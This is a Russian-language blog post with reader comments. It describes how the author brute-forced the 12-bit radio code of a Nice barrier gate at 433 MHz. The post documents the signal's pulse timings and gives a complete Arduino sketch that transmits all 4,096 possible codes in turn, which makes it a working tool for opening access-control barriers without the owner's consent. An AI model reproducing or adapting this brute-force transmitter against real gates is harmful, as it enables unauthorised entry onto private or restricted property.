Перебор кодов от шлагбаума на 433 Мгц

Публикация 25.05.2017

На работе стоял шлагбаум фирмы Nice. Для открытия использовалась карта. Пульта в наличии не было. Кодов никто не знал.

Перебор кода открытия шлагбаума для передатчика 433 Мгц

Шлагбаумы Nice весьма популярны, но информации о протоколе сигнала найти было не просто. Существует два типа кодирования: 12-битные для старых и 24-битные форматы кодов для новых. Решил начать с 12-и битного и не прогадал. Пакет данных состоял из 12 бит. Перед 12-битным кодом идет "пилотный период" и "стартовый импульс". "Пилотный период" состоит из 36 интервалов низкого уровня, "стартовый импульс" состоит из 1 интервала высокого уровня. Один пакет данных состоит из "пилотного периода" и "стартового импульса", и за ним уникальный 12-битный код для каждого отдельно взятого шлакбаума. Пульты отправляют 4 одинаковых пакета данных, но я поставил больше что бы избежать лишних помех. Длительности импульсов для шлагбаумов Nice:

  • Логическая «1» – 1400 мкс низкого уровня (два интервала) и 700 мкс высокого (один интервал)
  • Логический «0» – это 700 мкс низкого уровня (один интервал) и 1400 мкс высокого (один интервал)
  • «Пилотный период» – 25200 мкс (36 интервалов)
  • «Стартовый импульс» – 700 мкс (1 интервал)

Что бы подобрать нужный пришлось перебирать все 4096 комбинации для 12-битной кодировки. По прикидкам на весь перебор должно было уйти 17 минут.

Перебор кодов от шлагбаума для передатчика 433 Мгц

Скетч для заливки в Arduino:

int send_code_pin = 13;
int send_repeat = 5;
 
void setup()
{
  pinMode(send_code_pin, OUTPUT);
}

void loop ()
{
  for (int send_code = 0; send_code < 4096; send_code++) // цикли перебора всех кодов для 12 бит
  {
    for (int j = 0; j <send_repeat; j++) // в пультах используется 4 повторения
    {
      digitalWrite(send_code_pin, HIGH); // стартовый импульс
      delayMicroseconds(700);
      digitalWrite(send_code_pin, LOW);
      for (int i = 12; i > 0; i--)
      {
        boolean bit_code = bitRead(send_code, i - 1);
        if (bit_code)
        {
          digitalWrite(send_code_pin, LOW); // единица
          delayMicroseconds(1400);
          digitalWrite(send_code_pin, HIGH);
          delayMicroseconds(700);
        }
        else
        {
          digitalWrite(send_code_pin, LOW); // ноль
          delayMicroseconds(700);
          digitalWrite(send_code_pin, HIGH);
          delayMicroseconds(1400);
        }
      }
      digitalWrite(send_code_pin, LOW); // пилотный период
      delayMicroseconds(25200);
    }
  }
}
* комментарии публикуются после модерации
05.03.2018 01:30
а что за репитер? 5 пин repeat.
26.05.2017 14:18
Если слать код открытия постоянно, то он вообще не закроется никогда? Живущим рядом можно сделать такой информер непрочитанных писем: глянул в окно, шлагбаум поднят - проверяй почту ахаха)